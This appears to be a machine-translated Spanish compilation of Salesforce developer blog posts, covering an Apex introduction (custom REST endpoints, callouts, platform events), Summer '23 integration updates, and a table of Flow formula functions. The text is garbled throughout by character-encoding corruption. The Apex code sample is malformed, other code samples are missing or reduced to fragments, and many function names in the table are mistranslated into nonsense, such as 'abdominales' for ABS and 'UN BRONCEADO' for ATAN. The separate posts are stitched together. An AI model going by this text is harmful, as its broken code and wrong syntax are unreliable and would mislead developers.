Pero a veces, es posible que deba llamar desde su organizaci贸n a un servicio externo. O tal vez desee mostrar un punto final personalizado que agrupe m谩s complejidad que una de las API est谩ndar. Nuevamente, Apex contiene funciones que admiten tanto la aparici贸n de nuevas API personalizadas como la llamada a servicios web.

Al pensar en API personalizadas, en estos d铆as, la mayor铆a de los desarrolladores pensar铆an en API REST. Puede crear una API REST personalizada en Salesforce Platform creando una clase de Apex que se anota con la anotaci贸n @RestResource . Parte del trabajo de la anotaci贸n es definir tambi茅n el nombre del recurso. Todas las API REST personalizadas basadas en Apex se encuentran en <INSTANCEURL>/services/apexrest/ .

Para definir los comportamientos que necesita admitir, hay una serie de anotaciones de m茅todos que corresponden a verbos HTTP, como @HttpGet y @HttpPost . La clase RestContext contiene un conjunto de elementos de acceso para obtener el estado de la solicitud HTTP entrante y la respuesta saliente que devuelve. A continuaci贸n, se muestra un ejemplo de un extremo REST b谩sico que aparece en el m茅todo HTTP GET. Tenga en cuenta c贸mo se utilizan las anotaciones.

<dx-code-block title language="Java" code-block="@RestResource(urlmapping='/integration-service/*')
global inherited sharing class CustomRestEndpointRecipes( … @HttpGet global static String getRecordsToReturn() { RestResponse response = RestContext.response; try { List accounts = [ SELECT Id, Name, Phone, Website FROM Account WITH USER_MODE ]; response.statusCode = 200; String serializedAccounts = JSON.serialize(accounts); return serializedAccounts; } catch (QueryException qe) { System.debug( LoggingLevel.INFO, ‘Failed to query a list of Accounts. Error is: ‘ + qe.getMessage() ); response.statusCode = 400; return qe.getMessage(); } }
} 芦>

Si su requisito es crear un servicio SOAP, tambi茅n hay un conjunto de caracter铆sticas para admitir ese protocolo.

Fuera del c贸digo real, necesitar谩 una sesi贸n autorizada para acceder a cualquier servicio web que cree. Pero si ya tiene un cliente autorizado, la solicitud es solo otra llamada al punto final personalizado que defina.

La llamada a un punto final REST externo se realiza a trav茅s de un conjunto de clases. La clase HttpRequest le permite definir los par谩metros de c贸mo se comportar谩 su solicitud (punto final, verbo HTTP, encabezados, etc.). La solicitud se realiza a trav茅s del m茅todo est谩tico Http.request() . Esto devuelve un objeto HttpResponse que le proporciona los datos devueltos o el error si la solicitud falla.

Nota: Las clases HttpRequest y HttpResponse son las mismas para las llamadas REST y los servicios REST personalizados.

Se requiere cierta configuraci贸n para su texto destacado. Espec铆ficamente, deber谩 configurar una credencial con nombre en la mayor铆a de los casos. Esta configuraci贸n le permite descargar el protocolo de enlace de autenticaci贸n de su c贸digo. Aunque, si est谩 llamando a un servicio an贸nimo no autenticado, tambi茅n puede optar por usar una configuraci贸n de sitio remoto m谩s simple.

= 200 && response.getStatusCode()

El ejemplo anterior hace una llamada simple a un punto final. Tenga en cuenta que no se utilizan las opciones para establecer encabezados ni usar una credencial con nombre, ya que esta solicitud es para una API simple que no requiere autenticaci贸n.

La transmisi贸n de eventos es una herramienta valiosa para crear arquitecturas d茅bilmente acopladas en aplicaciones complejas. La plataforma de Salesforce implementa la transmisi贸n de eventos a trav茅s de dos caracter铆sticas principales: eventos de plataforma y captura de datos modificados. La columna vertebral de estas funciones es el bus de eventos.

De la Gu铆a para desarrolladores de eventos de plataforma, el bus de eventos es "Un servicio de entrega y almacenamiento de eventos de m煤ltiples inquilinos y m煤ltiples nubes basado en un modelo de publicaci贸n-suscripci贸n". Tanto su organizaci贸n como los sistemas externos pueden publicar y suscribirse a eventos. Por supuesto, es clave que si publicas un mensaje, algo debe haberse suscrito para que suceda cualquier otra cosa.

Los eventos de plataforma representan los datos que pasan a trav茅s del bus de eventos. Los eventos se procesan en el orden en que se reciben. Una forma de pensar en ellos es como un SObject ef铆mero que se almacena temporalmente en el bus de eventos en su camino hacia su destino. De hecho, los metadatos de un evento se almacenan en el mismo lugar de su proyecto que sus SObjects. Puede distinguir los eventos de plataforma personalizados de los SObjects por su sufijo __e (por ejemplo Order_Complete__e ).

Una vez que completa un evento con sus datos, el m茅todo EventBus.publish() es similar a una llamada DML en su SObject normal. Tenga en cuenta el c贸digo a continuaci贸n que publica un evento.

En Apex, se suscribe a un evento creando un disparador as铆ncrono para 茅l. Pero los disparadores as铆ncronos son diferentes de la operaci贸n DML transaccional est谩ndar de un disparador normal. Por esta raz贸n, debe tener en cuenta algunas diferencias. Con disparadores as铆ncronos, el tama帽o del lote es diferente. Necesitas configurar tu usuario de ejecuci贸n. Las operaciones de activaci贸n de eventos tambi茅n se pueden volver a intentar. Aseg煤rese de conocer estas diferencias a medida que comience a implementar activadores de eventos de plataforma. Tenga en cuenta el disparador a continuaci贸n.

A diferencia de los disparadores DML t铆picos, los disparadores de eventos de plataforma solo admiten el contexto after insert . Tampoco existe una acci贸n expl铆cita para suscribir un disparador a un evento de plataforma. Una vez que el activador se implementa en su organizaci贸n, se suscribe autom谩ticamente.

Adem谩s de Apex, los eventos de la plataforma pueden activarse y suscribirse mediante sistemas externos y Flow. Son clave en las integraciones d茅bilmente acopladas. Como tal, es raro que Apex active y se suscriba al mismo evento.

Hemos cubierto mucho. Pero de ninguna manera esto es todo lo que necesita saber como desarrollador de Apex. Los elementos cubiertos se basan en algunas caracter铆sticas bastante comunes. Pero es posible que deba aprender otras funciones de Apex seg煤n los requisitos de su proyecto. Aqu铆 hay algunos otros elementos que debe tener en cuenta.

Cach茅 de plataforma : si proviene de otras plataformas de programaci贸n, estar谩 familiarizado con la noci贸n de una variable est谩tica o global persistente en todas las transacciones. Pero en Apex, las est谩ticas se limitan a la transacci贸n. La memoria cach茅 de la plataforma es una caracter铆stica de Apex que permite la persistencia de datos en memoria entre transacciones. Si encuentra un retraso en el rendimiento relacionado con la recuperaci贸n de datos, la memoria cach茅 de la plataforma puede ayudar.

Marcos de activaci贸n : no es una caracter铆stica del lenguaje, sino bibliotecas que facilitan el uso de activadores. Estos proyectos creados por la comunidad abstraen el c贸digo de activaci贸n repetitivo que a menudo necesita escribir. Al usar un marco de activaci贸n, deber铆a permitirle concentrarse solo en la l贸gica que debe abordarse. Para algo m谩s que un disparador trivial, se recomienda encarecidamente adoptar un marco. Y conozco a algunos que argumentar铆an que deber铆a considerar un marco incluso para ese disparador trivial. Pero este no es el lugar para debatir el tiempo de valor frente a la optimizaci贸n prematura. Hay una implementaci贸n muy simple de esto en la aplicaci贸n Apex Recipes .

SOSL : el lenguaje de b煤squeda de objetos de Salesforce ( SOSL ) es el primo subestimado de SOQL. SOSL permite consultas basadas en texto no deterministas. Es muy eficiente para encontrar datos de texto en comparaci贸n con la b煤squeda de campos de texto con SOQL y comodines. Admite la b煤squeda de varios SObjects simult谩neamente y contiene funciones para filtrar de forma determinista los resultados de la b煤squeda. Si tiene consultas SOQL de texto que son lentas, definitivamente consulte esta herramienta.

AuraEnabled : para mostrar el c贸digo Apex personalizado en sus componentes web Lightning (LWC), esta anotaci贸n es clave. Es muy probable que ya est茅 usando este si comenz贸 su viaje de Salesforce creando LWC. Pero si a煤n no lo ha usado, b煤squelo en cualquier proyecto que involucre una interfaz de usuario personalizada. 驴Por qu茅 "Aura" habilitado si es para LWC? Bueno, esta anotaci贸n se cre贸 inicialmente para admitir el predecesor de LWC, el marco Aura. Ten铆a sentido no reinventar una nueva anotaci贸n cuando la existente funcionar铆a igual de bien para LWC.

Cada viaje para aprender un nuevo lenguaje de programaci贸n tiene algunas caracter铆sticas clave que todos deben conocer. La sintaxis b谩sica, el control de flujo y el modelo de ejecuci贸n de la plataforma son fundamentales para comprender. Pero una vez que tenga esos conceptos b谩sicos, trabajar en funciones m谩s avanzadas es clave para aumentar su conjunto de habilidades. Las acciones invocables, el Apex as铆ncrono, el Apex "din谩mico", la integraci贸n y el bus de eventos son funciones que probablemente utilizar谩 a medida que avanza. Al familiarizarse con estos ahora, no solo se preparar谩 para abordar proyectos en el futuro, sino que tambi茅n podr谩 tomar mejores decisiones de soluci贸n.

Si cree que est谩 listo para aprender, los senderos para desarrolladores intermedios y avanzados en Trailhead pueden ayudarlo a encaminarse con todos estos temas y m谩s.

Aplicaci贸n de muestra Apex Recipes en Github

Gu铆a para desarrolladores de Apex

Gu铆a de referencia de idiomas de Apex

Centro de desarrolladores de Apex

Peter Chittum ha trabajado en software empresarial y habilitaci贸n para desarrolladores durante m谩s de 20 a帽os. Pas贸 los 煤ltimos 12 a帽os ayudando a miles de desarrolladores a tener 茅xito en la plataforma de Salesforce, y m谩s recientemente lider贸 el equipo de promotores de desarrolladores en Salesforce. Pasa su tiempo libre con su familia, anda en bicicleta de monta帽a, cocina y toca m煤sica. S铆galo en Twitter (@pchittum), LinkedIn (en/PeterChittum) o BlueSky Social (@pchittum.bsky.social).

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Actualizaciones de integraci贸n de plataforma para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Actualizaciones de integraci贸n de plataforma para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Actualizaciones de integraci贸n de plataforma para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

隆脷nase a nosotros para Release Readiness Live esta semana! Los expertos en productos y los defensores de los desarrolladores analizar谩n y demostrar谩n las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisi贸n, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesi贸n de desarrolladores. 驴No puedes unirte a nosotros en vivo? La grabaci贸n se publicar谩 unas horas despu茅s de que finalice la transmisi贸n.

Introducci贸n

El verano finalmente est谩 aqu铆, y para nosotros los desarrolladores, 隆eso significa un nuevo y emocionante lanzamiento! Exploremos las pr贸ximas caracter铆sticas que trae la versi贸n Summer '23 para los desarrolladores centrados en la integraci贸n de plataformas.

Consultas SOQL anidadas en API

A partir de la API de la plataforma de Salesforce v58.0, SOQL ahora admite consultas de relaci贸n que atraviesan hasta cinco niveles de registros primarios y secundarios . Anteriormente, solo se admit铆a un nivel. Esta caracter铆stica est谩 disponible para objetos est谩ndar y personalizados, y est谩 limitada a consultas realizadas a trav茅s de llamadas de consulta REST y SOAP.

Prob茅moslo probando una relaci贸n padre-hijo de cuatro niveles usando la API REST con la siguiente consulta:

La llamada API ahora devuelve los registros anidados solicitados en la siguiente jerarqu铆a: Cuenta (Nivel 1) 鈫 Contacto (Nivel 2) 鈫 Caso (Nivel 3) 鈫 Comentarios del caso (Nivel 4).

Credenciales con nombre en Connect API

Otra caracter铆stica 煤til introducida en esta versi贸n es la capacidad de administrar credenciales con nombre tanto desde la API REST de Connect como desde la API de Connect . Ya no necesita interrumpir su configuraci贸n para crear credenciales a trav茅s de la interfaz de usuario; ahora, se puede hacer program谩ticamente,

Por ejemplo, puede recuperar la lista de todas las credenciales con nombre existentes realizando la siguiente llamada a la API:

GET /services/data/v58/named-credentials/named-credential-setup

Alternativamente, puede usar Apex con lo siguiente:

Tambi茅n puede crear credenciales con nombre mediante programaci贸n con la API y Apex. Este es un ejemplo de c贸mo hacerlo con Apex:

Consulte nuestra colecci贸n Postman para desarrolladores de Salesforce que presenta las nuevas API de Named Credentials y consulte la documentaci贸n de la clase NamedCredentials Apex para obtener m谩s informaci贸n.

Consultas API de GraphQL con funciones agregadas

Nuestra API GraphQL sigue mejorando y, con esta versi贸n, estamos agregando soporte para registros de consulta que usan funciones agregadas con o sin agrupaci贸n .

Podr谩 contar la cantidad de registros que coinciden con ciertos criterios, calcular el ingreso promedio en todas las cuentas o ver la cantidad total de todas las oportunidades.

Se admiten las siguientes funciones agregadas:

  • avg : devuelve el valor promedio de un campo num茅rico
  • count : devuelve el n煤mero de resultados que coinciden con los criterios de consulta
  • countDistinct : devuelve el n煤mero de valores de campo distintos y no nulos que coinciden con los criterios de consulta
  • grouping : especifica si se utiliza un campo al componer el grupo; usar con el argumento de consulta groupBy y el tipo ROLLUP o CUBE
  • max 鈥 Devuelve el valor m谩ximo de un campo
  • min 鈥 Devuelve el valor m铆nimo de un campo
  • sum : devuelve la suma total de un campo num茅rico

Echemos un vistazo a una consulta de ejemplo. La siguiente consulta calcula el ingreso anual promedio de todas las cuentas, agrupadas por industria. Tenga en cuenta que estamos usando el campo aggregate en uiapi en lugar de query , lo que nos permite aprovechar las funciones agregadas.

A continuaci贸n, una consulta de GraphQL utilizando la funci贸n de agregado promedio y la funci贸n de agrupaci贸n.

Tambi茅n puede realizar consultas tradicionales dentro de la misma solicitud:

Si desea probarlo, puede usar el cliente Altair GraphQL o nuestra colecci贸n Postman de desarrolladores de Salesforce .

Adaptador GraphQL de Salesforce Connect

En febrero de 2023, anunciamos la versi贸n piloto de nuestro adaptador GraphQL de Salesforce Connect y ahora nos complace anunciar que estar谩 disponible de forma general en esta versi贸n de verano de 2023.

El nuevo adaptador de Salesforce Connect para GraphQL act煤a como un cliente para integrar datos de fuentes externas que exponen sus capacidades a trav茅s de GraphQL. Lo hace de una manera de copia cero al hacer llamadas en vivo a los puntos finales de la API cuando una acci贸n del usuario o del sistema requiere registros espec铆ficos. Solo los datos necesarios para esa acci贸n en particular se consultan a trav茅s de GraphQL y Salesforce Connect no almacena ni almacena en cach茅 los registros devueltos por el servidor. Adem谩s, este adaptador incluye extensiones especiales para AWS AppSync y brinda acceso sin inconvenientes a Amazon RDS.

Para aprovechar este nuevo adaptador, simplemente cree una nueva fuente de datos externa y seleccione el tipo GraphQL .

Apex publica devoluciones de llamada en eventos de la plataforma

Con el lanzamiento de Summer '23, ahora puede realizar un seguimiento de la publicaci贸n de eventos de la plataforma utilizando Apex Publish Callbacks . Con esta nueva versi贸n, puede obtener el resultado final de una llamada EventBus.publish a trav茅s de una devoluci贸n de llamada de publicaci贸n de Apex que implemente. Esto le da la opci贸n de realizar un seguimiento de los errores o los 茅xitos para recibir el resultado final de la publicaci贸n. En funci贸n de ese resultado, puede decidir qu茅 acci贸n tomar, como intentar volver a publicar eventos fallidos, por ejemplo.

Para realizar un seguimiento de un evento fallido publicado, escriba una clase de Apex e implemente la interfaz EventBus.EventPublishFailureCallback . Si la operaci贸n asincr贸nica falla, se invocar谩 el m茅todo onFailure . El par谩metro result contiene los valores del campo EventUuid para cada evento fallido, pero no incluye los datos del evento en s铆.

Para realizar un seguimiento de las publicaciones de eventos exitosas, escriba una clase de Apex e implemente la interfaz EventBus.EventPublishSuccessCallback . Debido a que la mayor铆a de las llamadas de publicaci贸n suelen tener 茅xito, el procesamiento de publicaciones de eventos exitosas probablemente no sea una preocupaci贸n. Observe siempre los l铆mites de rendimiento y del gobernador de Apex cuando procese este tipo de resultado.

Como pr谩ctica recomendada, siempre cree eventos usando sObjectType.newSObject , ya que esto incluye un EventUuid que puede usar para rastrear el evento. Al crear eventos con este enfoque, recomendamos no publicar el mismo evento m谩s de una vez para evitar duplicaciones EventUuid .

M茅tricas mejoradas para eventos de plataforma

Con esta actualizaci贸n, ahora puede obtener m茅tricas de uso de eventos mejoradas para eventos de plataforma consultando el objeto PlatformEventUsageMetric . Esto le permite agregar datos de uso por nombre de evento y determinar qu茅 evento consume m谩s de sus asignaciones. Adem谩s, puede agrupar el uso por cliente para descubrir cu谩ntos clientes se suscribieron a un evento en particular y c贸mo se distribuye el uso de entrega de eventos entre los clientes. Adem谩s, utilice agregaciones granulares de tiempo de per铆odos diarios, por hora y de 15 minutos para segmentar los datos de uso para obtener informaci贸n m谩s detallada.

Cuando consulta PlatformEventUsageMetric , puede usar estos nuevos campos: EventName , Client , EventType y UsageType .

La siguiente consulta de ejemplo devuelve el uso de eventos por hora para eventos entregados entre el 1 y el 2 de abril en horario UTC. Tambi茅n agrega los resultados en intervalos de una hora seg煤n lo especificado por el campo TimeSegment . Dado que los campos EventName y Client se especifican en la consulta, los resultados se agrupar谩n por evento y cliente.

= 2023-04-01T00:00:00.000Z AND EndDate

Un resultado de muestra de la consulta anterior ser铆a similar al siguiente, incluir谩 datos de uso para todos los eventos, Order_Event__e y AccountChangeEvent .

Para obtener m谩s informaci贸n sobre esta funci贸n, consulte la documentaci贸n .

Acci贸n HTTP en flujo: GET es GA, POST es Beta

HTTP Callout ahora est谩 generalmente disponible para solicitudes GET , lo que le permite traer datos externos a Flow Builder sin ning煤n c贸digo. Usted crea una acci贸n de Llamada HTTP desde dentro de Flow, que puede llamar a cualquier API de servicio basado en la web. Despu茅s de agregar los detalles de la API, Flow Builder genera una acci贸n de llamada reutilizable que puede usar para diferentes flujos y en todo Salesforce.

Para ponerlo en uso, desde el elemento Acciones, seleccione Crear llamada HTTP .

Junto con GA, hemos incluido algunos cambios desde la 煤ltima versi贸n que agilizan el proceso de configuraci贸n.

Ahora puede editar una acci贸n de llamada HTTP de forma declarativa. Las API cambian regularmente, por ejemplo, cuando se agrega un nuevo campo obligatorio a un sistema externo. Anteriormente, para editar la acci贸n de llamada HTTP reutilizable, modific贸 la especificaci贸n de API generada autom谩ticamente, lo que requer铆a conocimientos de JSON. Ahora, puede editar la acci贸n con clics en el men煤 de configuraci贸n de Servicios externos.

Tambi茅n se simplific贸 la configuraci贸n de la estructura de datos de la respuesta de la API. Proporciona una respuesta de API de muestra y Flow infiere los tipos de datos y analiza el JSON para que los datos se puedan utilizar en los flujos. Anteriormente, si necesitaba cambiar los tipos de datos inferidos, editaba el propio JSON. Ahora, selecciona los tipos de datos del campo con clics. Ahora tambi茅n se admiten los tipos de datos de fecha, fecha/hora y booleano.

Como bonificaci贸n adicional, obtiene mensajes de error m谩s intuitivos al crear su acci贸n de llamada HTTP para ayudar a resolver el error y evitar problemas en el tiempo de ejecuci贸n.

Y si no puede OBTENER suficiente con HTTP Callout, ahora puede usar el m茅todo POST (Beta) para enviar datos de Salesforce a un servidor externo en Flow Builder. Por ejemplo, una nueva cuenta en Salesforce activa un flujo que crea una factura en un sistema externo. Seleccione POST (Beta) , ingrese un cuerpo de solicitud JSON de muestra que la API espera al configurar la llamada HTTP, y Flow infiere la estructura de datos externos.

Aprende MOAR

Guau, 隆son bastantes nuevas caracter铆sticas de integraci贸n de plataforma para probar! Conf铆o en que facilitar谩n la vida de muchos desarrolladores. 隆Pero hay m谩s por descubrir! Lo invito a explorar nuestras otras publicaciones de blog para conocer las 煤ltimas actualizaciones de LWC, Mobile, MuleSoft y Tableau.

Nuestros gerentes de producto y defensores de desarrolladores est谩n de vuelta para compartir las 煤ltimas caracter铆sticas y funcionalidades que llegar谩n en Summer '23. Para ayudarlo a desarrollarse m谩s r谩pido, hay una gran cantidad de contenido nuevo del equipo de relaciones con desarrolladores que cubre sus nuevas funciones favoritas. 隆Aseg煤rese de consultar Release Readiness Live el viernes 19 de mayo a las 9:00 a. m. PST, y lea lo 煤ltimo en el blog de desarrolladores de Salesforce para conocer m谩s innovaciones relacionadas con desarrolladores en el lanzamiento de Summer '23!

隆Explore los trailmixes de Trailhead con aspectos destacados de lanzamiento clave para desarrolladores o administradores, o ambos! Siga y complete un trailmix de Learn MOAR Summer '23 para administradores o desarrolladores para obtener una insignia exclusiva de la comunidad.

Otras lecturas

Sobre el Autor

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo en Twitter @julian_duque , @julianduque.co en Bluesky o LinkedIn .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Lista de todas las f贸rmulas disponibles para Salesforce Flow

Lista de todas las f贸rmulas disponibles para Salesforce Flow

脷ltima actualizaci贸n el 16 de mayo de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo averiguar todas las funciones de f贸rmula permitidas en un Flujo?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Descubra todas las funciones de f贸rmula admitidas en Salesforce Flow
  • Ejecute SOQL para objetos de la API de herramientas
  • y mucho m谩s

Isabella Stewart trabaja como administradora de Salesforce en Gurukul On Cloud (GoC). Quiere saber c贸mo encontrar todas las f贸rmulas disponibles para Salesforce Flow.

Pr谩ctica guiada (nosotros hacemos):

Con la F贸rmula, puede crear cualquier cosa, desde ecuaciones matem谩ticas simples hasta c谩lculos m谩s complejos y avanzados. En este art铆culo, aprender谩 c贸mo encontrar todas las funciones de f贸rmula disponibles que se pueden usar en Salesforce Flow.

Si est谩 buscando una explicaci贸n sobre c贸mo usar la columna de f贸rmula, consulte este art铆culo .

Hagamos una pausa aqu铆, familiar铆cese con los objetos API de herramientas FormulaFunction y FormulaFunctionAllowedType . contiene

Nombre del objeto
Detalles
F贸rmulaFunci贸n Representa una funci贸n utilizada al construir una f贸rmula, incluidos ejemplos y usos. Este objeto est谩 disponible en la API de herramientas versi贸n 39.0 y posteriores.
CustomFielFormulaFunctionAllowedTyped Representa las funciones que se admiten en el contexto de la f贸rmula dada. Este objeto est谩 disponible en la versi贸n API 48.0 y posteriores.

Realice los pasos a continuaci贸n para obtener una cobertura de c贸digo confiable:

  1. Haga clic en Configuraci贸n | Consola de desarrollador .
  2. En el Editor de consultas, ingrese la siguiente consulta SOQL
    1. SELECCIONE Function.Name, Function.Label, Function.Description, Function.ExampleString FROM FormulaFunctionAllowedType where Type='Flow'
    2. Seleccione la casilla de verificaci贸n Usar API de herramientas .
    3. Haga clic en Ejecutar .

SELECCIONE Funci贸n.Nombre, Funci贸n.Etiqueta, Funci贸n.Descripci贸n, Funci贸n.Cadena de ejemplo
FROM FormulaFunctionAllowedType donde Tipo='Flujo'

Lista de todas las f贸rmulas disponibles para Salesforce Flow

F贸rmulaFunci贸n.Nombre FormulaFunction.Label FormulaFunction.Descripci贸n FormulaFunction.ExampleString
1 abdominales abdominales Devuelve el valor absoluto de un n煤mero, un n煤mero sin su signo ABS (n煤mero)
2 ACOS ACOS Devuelve el arcocoseno del n煤mero en radianes, si el n煤mero dado est谩 entre -1 y 1. De lo contrario, NULL. ACOS(n煤mero)
3 AGREGARMESES AGREGARMESES Agregue el n煤mero de meses a la fecha, usando la 煤ltima fecha del mes si la fecha es el 煤ltimo d铆a del mes o agregando el n煤mero de meses tiene menos d铆as. AGREGARMESES(fecha,num)
4 Y Y Comprueba si todos los argumentos son verdaderos y devuelve VERDADERO si todos los argumentos son verdaderos Y (l贸gico1, l贸gico2,鈥)
5 ASCII ASCII Devuelve el punto de c贸digo del primer car谩cter de la cadena dada como un n煤mero. ASCII(texto)
6 COMO EN COMO EN Devuelve el arcoseno del n煤mero en radianes, si el n煤mero dado est谩 entre -1 y 1. De lo contrario, NULL. ASIN(n煤mero)
7 UN BRONCEADO UN BRONCEADO Devuelve el arco tangente del n煤mero en radianes. ATAN(n煤mero)
8 ATAN2 ATAN2 Devuelve el arco tangente del cociente de y y x en radianes. ATAN2(y,x)
9 COMIENZA COMIENZA Comprueba si el texto comienza con los caracteres especificados y devuelve VERDADERO si es as铆. De lo contrario devuelve FALSO COMIENZA(texto, comparar_texto)
10 VALOR EN BLANCO VALOR EN BLANCO Comprueba si la expresi贸n est谩 en blanco y devuelve expresi贸n_sustituta si est谩 en blanco. Si la expresi贸n no est谩 en blanco, devuelve el valor de la expresi贸n original. VALOR EN BLANCO (expresi贸n, expresi贸n_sustituta)
11 BR BR Inserta una etiqueta de interrupci贸n HTML en f贸rmulas de cadena BR()
12 CASO CASO Compara una expresi贸n con una serie de valores. Si la expresi贸n es igual a cualquier valor, se devuelve el resultado correspondiente. Si no es igual a ninguno de los valores, se devuelve el resultado de otra cosa CASE(expresi贸n, valor1, resultado1, valor2, resultado2,鈥,else_result)
13 CASESAFEID CASESAFEID Convierte una identificaci贸n de 15 caracteres en una identificaci贸n de 18 caracteres que no distingue entre may煤sculas y min煤sculas CASESAFEID(id)
14 TECHO TECHO Redondea un n煤mero al entero m谩s cercano, lejos de cero si es negativo TECHO(n煤mero)
15 CDH CDH Devuelve una cadena con el punto de c贸digo del primer car谩cter como el n煤mero dado. CHR(n煤mero)
diecis茅is CONTIENE CONTIENE Comprueba si el texto contiene caracteres espec铆ficos y devuelve VERDADERO si los contiene. De lo contrario, devuelve FALSO CONTIENE(texto, comparar_texto)
17 porque porque Devuelve el coseno del n煤mero, donde el n煤mero dado en radianes COS(n煤mero)
18 TAZA DE CAMBIO TAZA DE CAMBIO Devuelva la tasa de conversi贸n a la moneda corporativa para el CurrencyIsoCode dado, o 1.0 si la moneda no es v谩lida. TIPO DE MONEDA (IsoCode)
19 FECHA FECHA Crea una fecha a partir de un a帽o, mes y d铆a. FECHA (a帽o, mes, d铆a)
20 FECHAHORAVALOR FECHAHORAVALOR Devuelve un valor de a帽o, mes, d铆a y hora GMT DATETIMEVALUE(expresi贸n)
21 FECHAVALO FECHAVALO Crea una fecha a partir de su representaci贸n de fecha y hora o texto FECHAVALUE(expresi贸n)
22 D脥A D脥A Devuelve el d铆a del mes, un n煤mero entre 1 y 31 D脥A (fecha)
23 D脥A DEL A脩O D脥A DEL A脩O Devuelve el d铆a del a帽o calendario (del 1 al 366). D脥A DEL A脩O (fecha)
24 DISTANCIA DISTANCIA Devuelve la distancia entre dos ubicaciones utilizando la unidad proporcionada. DISTANCIA(ubicaci贸n, ubicaci贸n, unidad)
25 Exp Exp Devuelve e elevado a la potencia de un n煤mero dado EXP(n煤mero)
26 ENCONTRAR ENCONTRAR Devuelve la posici贸n de la cadena search_text en text ENCONTRAR(buscar_texto, texto [, start_num])
27 PISO PISO Redondea un n煤mero hacia abajo, hacia cero al entero m谩s cercano Numero de piso)
28 FORMATO DURACI脫N FORMATO DURACI脫N Formatee el n煤mero de segundos con d铆as opcionales, o la diferencia entre horas o dateTimes como HH:MI:SS. FORMATDURATION(numSeconds[, includeDays] | dateTime/time, dateTime/time)
29 DESDEUNIXTIME DESDEUNIXTIME Devuelve la fecha y hora que representa el n煤mero dado como los segundos transcurridos desde el 1 de enero de 1970. DESDEUNIXTIME(n煤mero)
30 GEOLOCALIZACI脫N GEOLOCALIZACI脫N Devuelve una ubicaci贸n basada en la latitud y longitud proporcionadas. GEOLOCALIZACI脫N (latitud, longitud)
31 GETSESIONID GETSESIONID Devuelve el ID de la sesi贸n actual. Esto puede ser 煤til en los hiperv铆nculos a otras aplicaciones que utilizan las credenciales de salesforce.com para la autenticaci贸n. GETSESIONID()
32 HTMLENCODE HTMLENCODE Codifica texto y fusiona valores de campo para su uso en HTML HTMLENCODE(texto)
33 HIPERV脥NCULO HIPERV脥NCULO Crea un hiperv铆nculo HIPERV脥NCULO (url, nombre_amistoso [, destino])
34 SI SI Comprueba si una condici贸n es verdadera y devuelve un valor si es VERDADERO y otro valor si es FALSO. SI (prueba_l贸gica, valor_si_verdadero, valor_si_falso)
35 INCLUYE INCLUYE Determina si cualquier valor seleccionado en un campo de lista de selecci贸n m煤ltiple es igual a un literal de texto que especifique. INCLUYE (multiselect_picklist_field, text_literal)
36 INITCAP INITCAP Devuelve el texto en min煤sculas con el primer car谩cter de cada palabra en may煤sculas. INITCAP(texto)
37 EST脕 EN BLANCO EST脕 EN BLANCO Comprueba si una expresi贸n est谩 en blanco y devuelve VERDADERO o FALSO ESBLANCO(expresi贸n)
38 ES NULO ES NULO Comprueba si una expresi贸n es nula y devuelve VERDADERO o FALSO ESNULL(expresi贸n)
39 ES N脷MERO ES N脷MERO Devuelve VERDADERO si el valor del texto es un n煤mero. De lo contrario, devuelve FALSO. ESNUMERO(Texto)
40 ISOSEMANA ISOSEMANA Devuelva el n煤mero de semana ISO 8601 para la fecha dada (del 1 al 53) para que la primera semana comience el lunes. ISOSEMANA(fecha)
41 ISOA脩O ISOA脩O Devuelve el a帽o de 4 d铆gitos de la numeraci贸n de semanas ISO 8601 para la fecha dada, de modo que el primer d铆a sea lunes. ISOA脩O(fecha)
42 ISPICKVAL ISPICKVAL Comprueba si el valor de un campo de lista de selecci贸n es igual a un literal de cadena ISPICKVAL(campo_lista_selecci贸n, literal_texto)
43 JSENCODE JSENCODE Codifica texto y valores de campo de combinaci贸n para su uso en JavaScript JSENCODE(texto)
44 JSINHTMLENCODE JSINHTMLENCODE Codifica texto y valores de campo combinados para su uso en JavaScript dentro de etiquetas HTML JSINHTMLENCODE(texto)
45 IZQUIERDA IZQUIERDA Devuelve el n煤mero especificado de caracteres desde el inicio de una cadena de texto IZQUIERDA(texto, num_chars)
46 LARGO LARGO Devuelve el n煤mero de caracteres en una cadena de texto LARGO(texto)
47 ENLACE A ENLACE A Devuelve el elemento de enlace HTML para el objetivo seleccionado con entradas opcionales expresadas como par谩metros de consulta LINKTO(etiqueta, objetivo, id, [entradas], [sin anular])
48 LN LN Devuelve el logaritmo natural de un n煤mero LN(n煤mero)
49 REGISTRO REGISTRO Devuelve el logaritmo en base 10 de n REGISTRO (n煤mero)
50 M脕S BAJO M脕S BAJO Convierte todas las letras del valor a min煤sculas INFERIOR (texto)
51 LPAD LPAD Rellene el lado izquierdo del valor con espacios o la cadena de relleno opcional para que la longitud sea padded_length LPAD(texto, padded_length [, pad_string])
52 M脕X. M脕X. Devuelve el mayor de todos los argumentos. MAX(n煤mero,n煤mero,鈥)
53 MCEILING MCEILING Redondea un n煤mero al entero m谩s cercano, hacia cero si es negativo MCEILING(n煤mero)
54 PISO PISO Redondea un n煤mero hacia abajo al entero m谩s cercano, lejos de cero si es negativo MFLOOR(n煤mero)
55 MEDIO MEDIO Devuelve un car谩cter desde la mitad de una cadena de texto, dada una posici贸n inicial y una longitud MID(texto, n煤m_inicio, n煤m_caracteres)
